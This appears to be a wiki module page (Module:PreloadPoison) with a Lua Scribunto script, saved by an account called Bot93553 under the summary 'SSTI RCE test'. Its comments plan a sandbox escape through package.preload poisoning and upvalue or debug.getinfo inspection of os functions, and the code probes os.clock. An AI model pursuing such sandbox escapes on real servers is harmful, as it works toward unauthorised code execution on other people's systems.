Bot93553：SSTI RCE test

2026-05-09T05:59:43Z

SSTI RCE test

新页面

local p = {}
function p.test(frame)
local results = {}

-- The key insight: if we modify package.preload["os"] and then os is re-required,
-- the new os will be our custom version. But we're in the sandbox, so our custom
-- version can't access blocked functions either.

-- HOWEVER: what if we set package.preload to return the ORIGINAL os table
-- by navigating through upvalues of existing functions?

results[1] = "test_preload_poison"

-- Try to find any reference to the original (unsandboxed) functions
-- through the metatables of loaded C functions

-- os.clock is a C function. C functions don't have upvalues, but...
-- let's check if we can get its environment
local os_tbl = require("os")
local clock_fn = os_tbl.clock

if type(clock_fn) == "function" then
local info = pcall(debug.getinfo, clock_fn, "S")
results[2] = "clock_info=" .. tostring(info)
end

-- Try calling debug.getinfo with specific args
local si = pcall(debug.getinfo, clock_fn, "S")
results[3] = "si=" .. tostring(si)

return table.concat(results, " | ")
end
return p

模块:PreloadPoison - 版本历史

Bot93553：​SSTI RCE test

Bot93553：SSTI RCE test